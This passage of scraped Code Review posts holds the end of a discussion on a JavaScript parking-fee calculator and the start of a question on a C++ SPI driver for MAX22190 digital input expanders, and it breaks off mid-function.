name, like <code>calculateParkingFees</code>.</p>\n<p><strong>Only use string interpolation when you need to interpolate</strong> For example, this:</p>\n<pre><code>return `Your parking fee is only £${4}.`\n</code></pre>\n<p>may as well be</p>\n<pre><code>return `Your parking fee is only £4.`\n</code></pre>\n<p><strong>Semicolons</strong> Some of your lines have semicolons, but a lot of lines are missing semicolons too. Best to be stylistically consistent - either use semicolons or don't. Unless you're an expert, I'd highly recommend using semicolons, else you will probably occasionally run into the pitfalls of <a href=\"https://stackoverflow.com/questions/2846283/what-are-the-rules-for-javascripts-automatic-semicolon-insertion-asi\">automatic semicolon insertion</a>.</p>\n<p>In all, I don't think there's much need in the code for anything other than a small wrapper around the <code>getCost</code> function:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const calculateParkingFees = (parkDateStr, returnDateStr) =&gt; {\n const parkDate = new Date(parkDateStr);\n const returnDate = new Date(returnDateStr);\n const totalMSParked = returnDate - parkDate;\n const totalHoursParked = totalMSParked / (1000 * 3600);\n return `Your parking fee is £${getCost(totalHoursParked)}.`;\n}\n\nconst getCost = (totalHoursParked) =&gt; {\n const costs = [\n // [Maximum number of hours, Associated cost]\n [1/3, 2],\n [2/3, 4],\n [1, 6],\n [2, 7],\n [3, 9],\n [4, 11],\n [8, 13],\n [24, 15],\n ];\n if (totalHoursParked &gt; 24) {\n const days = Math.ceil(totalHoursParked / 24);\n return 16 + 9 * (days - 1);\n }\n const found = costs.find(([maxHours]) =&gt; totalHoursParked &lt;= maxHours);\n return found[1];\n};\n\nconsole.log(calculateParkingFees(\"5/12/2020 18:30\", \"5/18/2020 18:30\")); // 6 days\nconsole.log(calculateParkingFees(\"5/12/2020 18:30\", \"5/12/2020 19:45\")); // bit more than an hour\nconsole.log(calculateParkingFees(\"5/12/2020 18:30\", \"5/12/2020 19:00\")); // 30 minutes</code></pre>\r\n</div>\r\n</div>\r\n</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T23:32:08.060", "Id": "499710", "Score": "0", "body": "Thanks for the incredible expanded answer! It feels perfect when someone correcting my code in a professional way! I just got more motivation for my programming journey! Thank you!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T01:21:19.273", "Id": "499714", "Score": "1", "body": "`let` in global scope is very bad. Global let is in global closure. For example `<script > let b = 10; setTimeout(()=>console.log(b),200)</script>` in 200ms expect 10 in console. Then another (sloppy) script `<script> b = 5 </script>` Timeout will log 5 not the 10 as intuition would expect. Another (diligent) script would crash `<script>\"use strict\"; let b = 5; // throws \"b already declared\"</script>` Again not intuitive. Never use let in the global scope. let should only be used inside blocks, or modules." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T10:17:17.620", "Id": "499728", "Score": "2", "body": "May I suggest not using hours as a unit, but stay with minutes for the ranges. This is comparable to the money-unit problem (https://stackoverflow.com/a/33979504)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T10:20:55.350", "Id": "499729", "Score": "1", "body": "The expression `1/3` cannot be represented exactly in a JavaScript number. Therefore, even though hours are a convenient measurement unit, I would rather use minutes here." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T21:40:28.653", "Id": "253402", "ParentId": "253392", "Score": "5" } }, { "body": "<p>It isn't completely clear what type the inputs would have from the question, since they just say &quot;timestamp,&quot; but the simplest form of timestamp is Unix style timestamp you get from <code>Date.now()</code>. It's just the number of milliseconds since January 1 1970 00:00:00, and the timezone is always UTC. It's usually what programs should operate on, because it means they don't have to worry about localized date formats, time zones, daylight savings, etc.</p>\n<p>So I would have started there with understanding the problem as &quot;write a function with the signature <code>function parkingFee(inTimeMillis, outTimeMillis)</code>&quot;. You're not even tasked to do output, though you should probably create some output to check your answer.</p>\n<p>I don't mind the <code>if ... else if ...</code> structure. Other suggested solutions involving tables are probably reflexively thinking about how they'd write it if the fee structure was pulled from a database or some other sort of configuration mechanism. I would just write the simplest code possible matching the <em>problem statement</em> as close as possible, which is given as <code>if ... else if ... </code>. For this reason, I like the original code better than some of the other answers.</p>\n<p><em>(I would just drop the redundant checks of the style <code>a &gt; x</code> in <code>if (a &lt;= x) { return ... } else if (a &gt; x &amp;&amp; a &lt; y) { ... }</code> since if <code>a &gt; x</code> wasn't true we would have returned already...)</em></p>\n<p>I imagine if there are bugs in my version below, they will be pretty easy to spot when I proofread it or when others review it.</p>\n<pre><code>function parkingFee(inTimeMillis, outTimeMillis) {\n const duration = outTimeMillis - inTimeMillis;\n if (minutes(duration) &lt; 20) {\n return 2.00;\n } else if (minutes(duration) &lt; 40) {\n return 4.00;\n } else if (hours(duration) &lt; 1) {\n return 6.00;\n } else if (hours(duration) &lt; 2) {\n return 7.00;\n } else if (hours(duration) &lt; 3) {\n return 9.00;\n } else if (hours(duration) &lt; 4) {\n return 11.00;\n } else if (hours(duration) &lt; 8) {\n return 13.00;\n } else if (hours(duration) &lt; 24) {\n return 15.00;\n } else {\n const additionalDays = Math.ceil(days(duration)) - 1\n return 16.00 + 9.00 * additionalDays;\n }\n}\n\nfunction days(millis) {\n return hours(millis) / 24;\n}\n\nfunction hours(millis) {\n return minutes(millis) / 60;\n}\n\nfunction minutes(millis) {\n return seconds(millis) / 60;\n}\n\nfunction seconds(millis) {\n return millis / 1000;\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T10:27:25.043", "Id": "499731", "Score": "0", "body": "What about `duration < hours(3)`, or even `duration < 3 * hours`? That would read even more naturally." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T22:47:08.350", "Id": "253405", "ParentId": "253392", "Score": "3" } }, { "body": "<p>Check with management what the meaning of &quot;24 hours&quot; is in connection with daylight savings time. Is it literally 24 times 60 times 60 seconds, or is it the timespan until a correct clock displays the same time again, which is usually 24 hours, but sometimes 23 or 25 hours? If I park from Monday 5:35pm to Friday 5:30pm and I'm charged five days, I'd likely be very, very annoyed and cause you a lot of trouble.</p>\n<p>Obviously you'd also be in trouble if I stay from Monday 5:35 pm to Tuesday 6:10 pm and because of DST this is less than 24 hours and and you charge me for two days. And apart from DST, you are in trouble if I stay 24 1/2 hours and you charge 16 + 9 euros which is more than the 15 euros for 24 hours plus 4 euros for forty minutes. You need to clarify that.</p>\n<p>So for longer stays, you'd want to use some OS method that helps you to correctly determine the number of days. And now you are in trouble, because that depends on your time zone. Which you don't have. Your management needs to decide how important avoiding complaints is; in their place I'd count the first day as 25 hours and nobody will complain.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T15:27:10.257", "Id": "253424", "ParentId": "253392", "Score": "0" } } ]
{ "AcceptedAnswerId": "253402", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T18:20:52.340", "Id": "253392", "Score": "9", "Tags": [ "javascript", "beginner", "datetime", "calculator" ], "Title": "Calculating parking fees, given start and end timestamps" }
253392
<p>On <a href="https://www.xilinx.com/support/documentation/user_guides/ug585-Zynq-7000-TRM.pdf" rel="nofollow noreferrer">this platform</a> I have been developing a software driver for two <a href="https://datasheets.maximintegrated.com/en/ds/MAX22190.pdf" rel="nofollow noreferrer">digital inputs expanders</a> communicating over the SPI. My C++ code is based on the SPI driver which accompanies the SDK offered by the MCU manufacturer. From the timing perspective the driver has been conceived as non-blocking with periodic updates exploiting callback function. From the architectural point of view the driver has been designed in following manner:</p> <ul> <li>the top level layer of the driver consists of the <code>DigitalInputsDriver</code> class which provides the interface for the application layer of the software</li> <li>the digital inputs expander is modeled by the <code>MAX22190</code> class</li> <li>the expander is basically a set of registers. This is reflected in design by the fact that the MAX22190 class contains an array of registers (instances of the <code>Register</code> class). Those instances are &quot;mirrors&quot; of the real hw registers in the MAX22190 chips. Content of those mirrors is held in consistent state with their hw counterparts based on algorithms for configuration and refreshing encapsulated in the classes <code>Configurator</code> and <code>Refresher</code>. Based on stimulus comming from the <code>Configurator</code> and <code>Refresher</code> the <code>Register</code> objects communicate with the MAX22190 chips over SPI via messages which are instances of <code>WriteRegRequestMsg</code>, <code>ReadRegRequestMsg</code>, <code>WriteRegResponseMsg</code> and <code>ReadRegResponseMsg</code> classes which have same interface defined by the <code>Message</code> abstract class.</li> <li>each MAX22190 can be richly configured, so <code>DigitalInputsDriverCfg</code> class has been defined which manages the configuration.</li> </ul> <p><strong>DigitalInputsDriver</strong></p> <pre><code>#include &quot;DigitalInputsDriverCfg.h&quot; #include &quot;MAX22190.h&quot; #include &quot;Transceiver.h&quot; #include &lt;cstdint&gt; class DigitalInputsDriver { public: enum class Input{ kDi_00, kDi_01, kDi_02, kDi_03, kDi_04, kDi_05, kDi_06, kDi_07, kDi_08, kDi_09, kDi_10, kDi_11, kDi_12, kDi_13, kDi_14, kDi_15, kNoDigitalInputs }; enum class State{kLow, kHigh}; enum class Fault1{ kWireBreakDevice0, k24VMDevice0, k24VLDevice0, kOverTemperature1Device0, kOverTemperature2Device0, kFault2Device0, kPorDevice0, kCrcDevice0, kWireBreakDevice1, k24VMDevice1, k24VLDevice1, kOverTemperature1Device1, kOverTemperature2Device1, kFault2Device1, kPorDevice1, kCrcDevice1 }; enum class Fault2{ kREFWBShortDevice0, kREFWBOpenDevice0, kREFDIShortDevice0, kREFDIOpenDevice0, kOverTempShutdownDevice0, kFault8ClkDevice0, kREFWBShortDevice1 = 8, kREFWBOpenDevice1 = 9, kREFDIShortDevice1 = 10, kREFDIOpenDevice1 = 11, kOverTempShutdownDevice1 = 12, kFault8ClkDevice1 = 13, }; DigitalInputsDriver(DigitalInputsDriverCfg *_dig_in_cfg, uint16_t _spi_device_id); void update(void); void initialize(void); bool isReady(void); State getInputState(Input input); bool isFault1Active(Fault1 fault); bool isFault2Active(Fault2 fault); void handleFpgaProtection(void); void handleSpiEndOfTransactionInterrupt(void); private: Transceiver transceiver; MAX22190 device0; MAX22190 device1; MAX22190 *devices[static_cast&lt;uint8_t&gt;(DigitalInputsDriverCfg::Device::kNoMAX22190Devices)]; }; #include &quot;DigitalInputsDriver.h&quot; DigitalInputsDriver::DigitalInputsDriver(DigitalInputsDriverCfg *_dig_in_cfg, uint16_t _spi_device_id) : transceiver(_spi_device_id), device0(DigitalInputsDriverCfg::Device::kMAX22190Device_0, _dig_in_cfg, &amp;transceiver), device1(DigitalInputsDriverCfg::Device::kMAX22190Device_1, _dig_in_cfg, &amp;transceiver) { devices[static_cast&lt;uint8_t&gt;(DigitalInputsDriverCfg::Device::kMAX22190Device_0)] = &amp;device0; devices[static_cast&lt;uint8_t&gt;(DigitalInputsDriverCfg::Device::kMAX22190Device_1)] = &amp;device1; } void DigitalInputsDriver::initialize(void) { transceiver.initialize(); for(MAX22190 *device : devices){ device-&gt;initialize(); } } void DigitalInputsDriver::update(void) { for(MAX22190 *device : devices){ device-&gt;update(); } } bool DigitalInputsDriver::isReady(void) { bool retval = true; for(MAX22190 *device : devices){ if(device-&gt;isReady() == false){ retval = false; break; } } return retval; } DigitalInputsDriver::State DigitalInputsDriver::getInputState(Input input) { return static_cast&lt;DigitalInputsDriver::State&gt;(devices[(static_cast&lt;uint8_t&gt;(input) &gt;&gt; 3)]-&gt;isInputActive(static_cast&lt;DigitalInputsDriverCfg::Input&gt;(static_cast&lt;uint8_t&gt;(input) - ((static_cast&lt;uint8_t&gt;(input) &gt;&gt; 3) &lt;&lt; 3)))); } bool DigitalInputsDriver::isFault1Active(Fault1 fault) { return devices[(static_cast&lt;uint8_t&gt;(fault) &gt;&gt; 3)]-&gt;isFault1Active(static_cast&lt;MAX22190::Fault1&gt;(static_cast&lt;uint8_t&gt;(fault) - ((static_cast&lt;uint8_t&gt;(fault) &gt;&gt; 3) &lt;&lt; 3))); } bool DigitalInputsDriver::isFault2Active(Fault2 fault) { return devices[(static_cast&lt;uint8_t&gt;(fault) &gt;&gt; 3)]-&gt;isFault2Active(static_cast&lt;MAX22190::Fault2&gt;(static_cast&lt;uint8_t&gt;(fault) - ((static_cast&lt;uint8_t&gt;(fault) &gt;&gt; 3) &lt;&lt; 3))); } void DigitalInputsDriver::handleFpgaProtection(void) { for(MAX22190 *device : devices){ device-&gt;handleFaultPinActivation(); } } void DigitalInputsDriver::handleSpiEndOfTransactionInterrupt(void) { for(MAX22190 *device : devices){ device-&gt;notifyEndOfTransaction(); } } </code></pre> <p><strong>MAX22190</strong></p> <pre><code>#include &quot;Register.h&quot; #include &quot;DigitalInputsDriverCfg.h&quot; #include &quot;Configurator.h&quot; #include &quot;TransactionEndListener.h&quot; #include &quot;Transceiver.h&quot; #include &quot;Refresher.h&quot; class MAX22190 : public TransactionEndListener { friend class Configurator; friend class Refresher; public: enum class Fault1{ kWireBreak, k24VM, k24VL, kOverTemperature1, kOverTemperature2, kFault2, kPor, kCrc }; enum class Fault2{ kREFWBShort, kREFWBOpen, kREFDIShort, kREFDIOpen, kOvertempShd, kFault8Clk }; MAX22190(DigitalInputsDriverCfg::Device _device, DigitalInputsDriverCfg *_configuration, Transceiver *_transceiver); void initialize(void); void update(void); bool isReady(void); bool isInputActive(DigitalInputsDriverCfg::Input input); bool isFault1Active(Fault1 fault); bool isFault2Active(Fault2 fault); void handleFaultPinActivation(void); void activateLatch(void); uint8_t getDeviceId(void); void notifyEndOfTransaction(void); private: enum class ConfigurationState{ kConfigInEnReg, kConfigFlt1Reg, kConfigFlt2Reg, kConfigFlt3Reg, kConfigFlt4Reg, kConfigFlt5Reg, kConfigFlt6Reg, kConfigFlt7Reg, kConfigFlt8Reg, kConfigFault2EnReg, kConfigFault1EnReg, kConfigCfgReg, kConfigGpoReg, kConfigurationEnd }; enum class RefreshState{ kRefreshFault1Reg, kRefreshFault2Reg, kRefreshDiReg, kRefreshWbReg }; static constexpr uint8_t wb_reg_addr = 0x00; static constexpr uint8_t di_reg_addr = 0x02; static constexpr uint8_t fault1_reg_addr = 0x04; static constexpr uint8_t flt1_reg_addr = 0x06; static constexpr uint8_t flt2_reg_addr = 0x08; static constexpr uint8_t flt3_reg_addr = 0x0A; static constexpr uint8_t flt4_reg_addr = 0x0C; static constexpr uint8_t flt5_reg_addr = 0x0E; static constexpr uint8_t flt6_reg_addr = 0x10; static constexpr uint8_t flt7_reg_addr = 0x12; static constexpr uint8_t flt8_reg_addr = 0x14; static constexpr uint8_t cfg_reg_addr = 0x18; static constexpr uint8_t inen_reg_addr = 0x1A; static constexpr uint8_t fault2_reg_addr = 0x1C; static constexpr uint8_t fault2en_reg_addr = 0x1E; static constexpr uint8_t gpo_reg_addr = 0x22; static constexpr uint8_t fault1en_reg_addr = 0x24; static constexpr uint8_t nop_reg_addr = 0x26; static constexpr uint8_t no_regs = 18; Register wb_reg; Register di_reg; Register fault1_reg; Register flt1_reg; Register flt2_reg; Register flt3_reg; Register flt4_reg; Register flt5_reg; Register flt6_reg; Register flt7_reg; Register flt8_reg; Register cfg_reg; Register inen_reg; Register fault2_reg; Register fault2en_reg; Register gpo_reg; Register fault1en_reg; Register nop_reg; Register* register_map[no_regs]; Configurator configurator; Refresher refresher; DigitalInputsDriverCfg::Device device; DigitalInputsDriverCfg *configuration; Transceiver *transceiver; bool device_ready; bool device_configured; bool read_faults; ConfigurationState state_config; RefreshState state_refresh; bool configure(void); void configureInEnReg(void); void configureFlt1Reg(void); void configureFlt2Reg(void); void configureFlt3Reg(void); void configureFlt4Reg(void); void configureFlt5Reg(void); void configureFlt6Reg(void); void configureFlt7Reg(void); void configureFlt8Reg(void); void configureFault2EnReg(void); void configureFault1EnReg(void); void configureCfgReg(void); void configureGpoReg(void); void refresh(void); void refreshDiReg(void); void refreshWbReg(void); void refreshFault1Reg(void); void refreshFault2Reg(void); }; #include &quot;MAX22190.h&quot; MAX22190::MAX22190(DigitalInputsDriverCfg::Device _device, DigitalInputsDriverCfg *_configuration, Transceiver *_transceiver) : wb_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kWb, wb_reg_addr, _transceiver), di_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kDi, di_reg_addr, _transceiver), fault1_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFault1, fault1_reg_addr, _transceiver), flt1_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFlt1, flt1_reg_addr, _transceiver), flt2_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFlt2, flt2_reg_addr, _transceiver), flt3_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFlt3, flt3_reg_addr, _transceiver), flt4_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFlt4, flt4_reg_addr, _transceiver), flt5_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFlt5, flt5_reg_addr, _transceiver), flt6_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFlt6, flt6_reg_addr, _transceiver), flt7_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFlt7, flt7_reg_addr, _transceiver), flt8_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFlt8, flt8_reg_addr, _transceiver), cfg_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kCfg, cfg_reg_addr, _transceiver), inen_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kInEn, inen_reg_addr, _transceiver), fault2_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFault2, fault2_reg_addr, _transceiver), fault2en_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFault2En, fault2en_reg_addr, _transceiver), gpo_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kGpo, gpo_reg_addr, _transceiver), fault1en_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kFault1En, fault1en_reg_addr, _transceiver), nop_reg(_device, DigitalInputsDriverCfg::MAX22190RegisterType::kNop, nop_reg_addr, _transceiver), configurator(_configuration), refresher() { register_map[0] = &amp;wb_reg; register_map[1] = &amp;di_reg; register_map[2] = &amp;fault1_reg; register_map[3] = &amp;flt1_reg; register_map[4] = &amp;flt2_reg; register_map[5] = &amp;flt3_reg; register_map[6] = &amp;flt4_reg; register_map[7] = &amp;flt5_reg; register_map[8] = &amp;flt6_reg; register_map[9] = &amp;flt7_reg; register_map[10]= &amp;flt8_reg; register_map[11]= &amp;cfg_reg; register_map[12]= &amp;inen_reg; register_map[13]= &amp;fault2_reg; register_map[14]= &amp;fault2en_reg; register_map[15]= &amp;gpo_reg; register_map[16]= &amp;fault1en_reg; register_map[17]= &amp;nop_reg; device = _device; device_ready = false; device_configured = false; read_faults = false; configuration = _configuration; state_config = ConfigurationState::kConfigInEnReg; state_refresh = RefreshState::kRefreshDiReg; transceiver = _transceiver; } void MAX22190::initialize(void){ transceiver-&gt;registerListener(this); device_ready = true; } void MAX22190::update(void) { if(device_ready){ if(!device_configured){ device_configured = configure(); }else{ refresh(); } } } bool MAX22190::isReady(void) { return (device_ready &amp;&amp; device_configured); } bool MAX22190::isInputActive(DigitalInputsDriverCfg::Input input) { uint8_t reg_data = di_reg.getData(); return ((reg_data &amp; (1 &lt;&lt; static_cast&lt;uint8_t&gt;(input))) != 0); } bool MAX22190::isFault1Active(Fault1 fault) { uint8_t reg_data = fault1_reg.getData(); return ((reg_data &amp; (1 &lt;&lt; static_cast&lt;uint8_t&gt;(fault))) != 0); } bool MAX22190::isFault2Active(Fault2 fault) { uint8_t reg_data = fault2_reg.getData(); return ((reg_data &amp; (1 &lt;&lt; static_cast&lt;uint8_t&gt;(fault))) != 0); } void MAX22190::handleFaultPinActivation(void) { read_faults = true; } void MAX22190::activateLatch(void){} void MAX22190::notifyEndOfTransaction(void){ for(Register* reg : register_map){ if(reg-&gt;isPending()){ reg-&gt;handleEndOfTransaction(); break; } } } uint8_t MAX22190::getDeviceId(void){ return static_cast&lt;uint8_t&gt;(device); } bool MAX22190::configure(void) { bool configuration_finished = false; switch(state_config){ case ConfigurationState::kConfigInEnReg: configureInEnReg(); break; case ConfigurationState::kConfigFlt1Reg: configureFlt1Reg(); break; case ConfigurationState::kConfigFlt2Reg: configureFlt2Reg(); break; case ConfigurationState::kConfigFlt3Reg: configureFlt3Reg(); break; case ConfigurationState::kConfigFlt4Reg: configureFlt4Reg(); break; case ConfigurationState::kConfigFlt5Reg: configureFlt5Reg(); break; case ConfigurationState::kConfigFlt6Reg: configureFlt6Reg(); break; case ConfigurationState::kConfigFlt7Reg: configureFlt7Reg(); break; case ConfigurationState::kConfigFlt8Reg: configureFlt8Reg(); break; case ConfigurationState::kConfigFault2EnReg: configureFault2EnReg(); break; case ConfigurationState::kConfigFault1EnReg: configureFault1EnReg(); break; case ConfigurationState::kConfigCfgReg: configureCfgReg(); break; case ConfigurationState::kConfigGpoReg: configureGpoReg(); break; case ConfigurationState::kConfigurationEnd: configuration_finished = true; break; } return configuration_finished; } void MAX22190::refresh(void) { switch(state_refresh){ case RefreshState::kRefreshDiReg: refreshDiReg(); break; case RefreshState::kRefreshWbReg: refreshWbReg(); break; case RefreshState::kRefreshFault1Reg: refreshFault1Reg(); break; case RefreshState::kRefreshFault2Reg: refreshFault2Reg(); break; } } void MAX22190::configureInEnReg(void) { if(configurator.configure(inen_reg)){ state_config = ConfigurationState::kConfigFlt1Reg; } } void MAX22190::configureFlt1Reg(void) { if(configurator.configure(flt1_reg)){ state_config = ConfigurationState::kConfigFlt2Reg; } } void MAX22190::configureFlt2Reg(void) { if(configurator.configure(flt2_reg)){ state_config = ConfigurationState::kConfigFlt3Reg; } } void MAX22190::configureFlt3Reg(void) { if(configurator.configure(flt3_reg)){ state_config = ConfigurationState::kConfigFlt4Reg; } } void MAX22190::configureFlt4Reg(void) { if(configurator.configure(flt4_reg)){ state_config = ConfigurationState::kConfigFlt5Reg; } } void MAX22190::configureFlt5Reg(void) { if(configurator.configure(flt5_reg)){ state_config = ConfigurationState::kConfigFlt6Reg; } } void MAX22190::configureFlt6Reg(void) { if(configurator.configure(flt6_reg)){ state_config = ConfigurationState::kConfigFlt7Reg; } } void MAX22190::configureFlt7Reg(void) { if(configurator.configure(flt7_reg)){ state_config = ConfigurationState::kConfigFlt8Reg; } } void MAX22190::configureFlt8Reg(void) { if(configurator.configure(flt8_reg)){ state_config = ConfigurationState::kConfigFault2EnReg; } } void MAX22190::configureFault2EnReg(void) { if(configurator.configure(fault2en_reg)){ state_config = ConfigurationState::kConfigFault1EnReg; } } void MAX22190::configureFault1EnReg(void) { if(configurator.configure(fault1en_reg)){ state_config = ConfigurationState::kConfigCfgReg; } } void MAX22190::configureCfgReg(void) { if(configurator.configure(cfg_reg)){ state_config = ConfigurationState::kConfigGpoReg; } } void MAX22190::configureGpoReg(void) { if(configurator.configure(gpo_reg)){ state_config = ConfigurationState::kConfigurationEnd; } } void MAX22190::refreshDiReg(void) { if(refresher.refresh(di_reg)){ state_refresh = RefreshState::kRefreshWbReg; } } void MAX22190::refreshWbReg(void) { if(refresher.refresh(wb_reg)){ if(read_faults) { state_refresh = RefreshState::kRefreshFault1Reg; }else{ state_refresh = RefreshState::kRefreshDiReg; } } } void MAX22190::refreshFault1Reg(void) { if(refresher.refresh(fault1_reg)){ state_refresh = RefreshState::kRefreshFault2Reg; } } void MAX22190::refreshFault2Reg(void) { if(refresher.refresh(fault2_reg)){ state_refresh = RefreshState::kRefreshDiReg; read_faults = false; } } </code></pre> <p><strong>Register</strong></p> <pre><code>#include &quot;DigitalInputsDriverCfg.h&quot; #include &quot;Transceiver.h&quot; #include &quot;Message.h&quot; #include &quot;WriteRegRequestMsg.h&quot; #include &quot;WriteRegResponseMsg.h&quot; #include &quot;ReadRegRequestMsg.h&quot; #include &quot;ReadRegResponseMsg.h&quot; #include &lt;cstdint&gt; class Register { public: Register(DigitalInputsDriverCfg::Device _device, DigitalInputsDriverCfg::MAX22190RegisterType _type, uint8_t _address, Transceiver *_transceiver); bool read(void); bool write(uint8_t data); bool isConfigured(void); void setConfigured(void); bool isRefreshed(void); void setUnRefreshed(void); uint8_t getData(void); uint8_t getAddress(void); DigitalInputsDriverCfg::MAX22190RegisterType getType(void); DigitalInputsDriverCfg::Device getDevice(void); bool isPending(void); void handleEndOfTransaction(void); private: DigitalInputsDriverCfg::Device device; DigitalInputsDriverCfg::MAX22190RegisterType type; uint8_t address; uint8_t data; bool configured; bool pending; bool refreshed; Message::MessageType sent_msg; Transceiver *transceiver; WriteRegRequestMsg write_reg_request; ReadRegRequestMsg read_reg_request; WriteRegResponseMsg write_reg_response; ReadRegResponseMsg read_reg_response; void setData(uint8_t data); void handleWriteRegResponseMsg(void); void handleReadRegResponseMsg(void); }; #include &lt;new&gt; #include &quot;Register.h&quot; #include &quot;Bits.h&quot; Register::Register(DigitalInputsDriverCfg::Device _device, DigitalInputsDriverCfg::MAX22190RegisterType _type, uint8_t _address, Transceiver *_transceiver) { type = _type; address = _address; device = _device; configured = false; refreshed = false; pending = false; transceiver = _transceiver; } bool Register::read(void) { if (!transceiver-&gt;isBusy()){ new (&amp;read_reg_request) ReadRegRequestMsg(device, address, transceiver); read_reg_request.write(); sent_msg = Message::MessageType::kReadRegRequest; pending = true; return true; }else{ return false; } } bool Register::write(uint8_t data) { if(!transceiver-&gt;isBusy()){ new (&amp;write_reg_request) WriteRegRequestMsg(device, address, data, transceiver); write_reg_request.write(); sent_msg = Message::MessageType::kWriteRegRequest; pending = true; return true; }else{ return false; } } bool Register::isConfigured(void) { return configured; } void Register::setConfigured(void) { configured = true; } bool Register::isRefreshed(void) { return (refreshed != false); } void Register::setUnRefreshed(void) { refreshed = false; } uint8_t Register::getData(void) { return data; } uint8_t Register::getAddress(void) { return address; } DigitalInputsDriverCfg::MAX22190RegisterType Register::getType(void) { return type; } DigitalInputsDriverCfg::Device Register::getDevice(void) { return device; } bool Register::isPending(void) { return pending; } void Register::handleEndOfTransaction(void) { switch(sent_msg){ case Message::MessageType::kWriteRegRequest: handleWriteRegResponseMsg(); break; case Message::MessageType::kReadRegRequest: handleReadRegResponseMsg(); break; case Message::MessageType::kWriteRegResponse: break; case Message::MessageType::kReadRegResponse: break; } } void Register::setData(uint8_t read_data) { data = read_data; } void Register::handleWriteRegResponseMsg(void) { pending = false; new (&amp;write_reg_response) WriteRegResponseMsg(transceiver); write_reg_response.read(); } void Register::handleReadRegResponseMsg(void) { uint8_t read_data; pending = false; new (&amp;read_reg_response) ReadRegResponseMsg(transceiver); read_reg_response.read(); if(read_reg_response.isValid()){ read_data = read_reg_response.getRegisterData(); setData(read_data); refreshed = true; } } </code></pre> <p><strong>Configurator</strong></p> <pre><code>#include &quot;DigitalInputsDriverCfg.h&quot; #include &quot;Register.h&quot; class Configurator { public: Configurator(DigitalInputsDriverCfg *_configuration); bool configure(Register &amp;reg); private: enum class State {kInit, kWrite, kRead, kCheck}; State state; DigitalInputsDriverCfg *configuration; uint8_t data; }; #include &quot;Configurator.h&quot; Configurator::Configurator(DigitalInputsDriverCfg *_configuration) { configuration = _configuration; state = State::kInit; } bool Configurator::configure(Register &amp;reg) { bool reg_configured = false; switch(state){ case State::kInit: data = configuration-&gt;getRegisterConfigData(reg.getDevice(), reg.getType()); state = State::kWrite; break; case State::kWrite: if(reg.write(data)){ state = State::kRead; } break; case State::kRead: if(reg.read()){ state = State::kCheck; } break; case State::kCheck: if(!reg.isPending()){ if(data == reg.getData()){ reg_configured = true; reg.setConfigured(); state = State::kInit; }else{ state = State::kWrite; } } break; } return reg_configured; } </code></pre> <p><strong>Refresher</strong></p> <pre><code>#include &quot;Register.h&quot; class Refresher { public: Refresher(); bool refresh(Register &amp;reg); private: enum class State {kRead, kCheck}; State state; }; #include &quot;Refresher.h&quot; Refresher::Refresher() { state = State::kRead; } bool Refresher::refresh(Register &amp;reg) { bool reg_refreshed = false; switch(state){ case State::kRead: if(reg.read()){ reg.setUnRefreshed(); state = State::kCheck; } break; case State::kCheck: if(!reg.isPending()){ if(reg.isRefreshed()){ reg_refreshed = true; } state = State::kRead; } break; } return reg_refreshed; } </code></pre> <p><strong>Message</strong></p> <pre><code>class Message { public: enum class MessageType { kWriteRegRequest, kReadRegRequest, kWriteRegResponse, kReadRegResponse }; virtual void read(void) = 0; virtual void write(void) = 0; }; </code></pre> <p><strong>WriteRegRequest</strong></p> <pre><code>#include &quot;Message.h&quot; #include &quot;DigitalInputsDriverCfg.h&quot; #include &quot;Transceiver.h&quot; class WriteRegRequestMsg : public Message { public: WriteRegRequestMsg(); WriteRegRequestMsg(DigitalInputsDriverCfg::Device _device, uint8_t _address, uint8_t _data, Transceiver *_transceiver); void read(void); void write(void); private: union MsgData{ struct { uint32_t crc : 5; uint32_t fill : 3; uint32_t data : 8; uint32_t reg_addr : 7; uint32_t msb : 1; }bits; uint8_t bytes[3]; }; DigitalInputsDriverCfg::Device device; uint8_t address; uint8_t data; MsgData msg; uint8_t length; Transceiver *transceiver; }; #include &quot;WriteRegRequestMsg.h&quot; WriteRegRequestMsg::WriteRegRequestMsg(){} WriteRegRequestMsg::WriteRegRequestMsg( DigitalInputsDriverCfg::Device _device, uint8_t _address, uint8_t _data, Transceiver *_transceiver) { device = _device; address = _address; data = _data; transceiver = _transceiver; } void WriteRegRequestMsg::read(void){} void WriteRegRequestMsg::write(void) { msg.bits.msb = 1; msg.bits.reg_addr = (address &amp; 0x7F); msg.bits.data = data; msg.bits.fill = 0; uint8_t crc = crcMAX22190(msg.bytes[2], msg.bytes[1], msg.bytes[0]); msg.bits.crc = crc; transceiver-&gt;putBytes(msg.bytes); 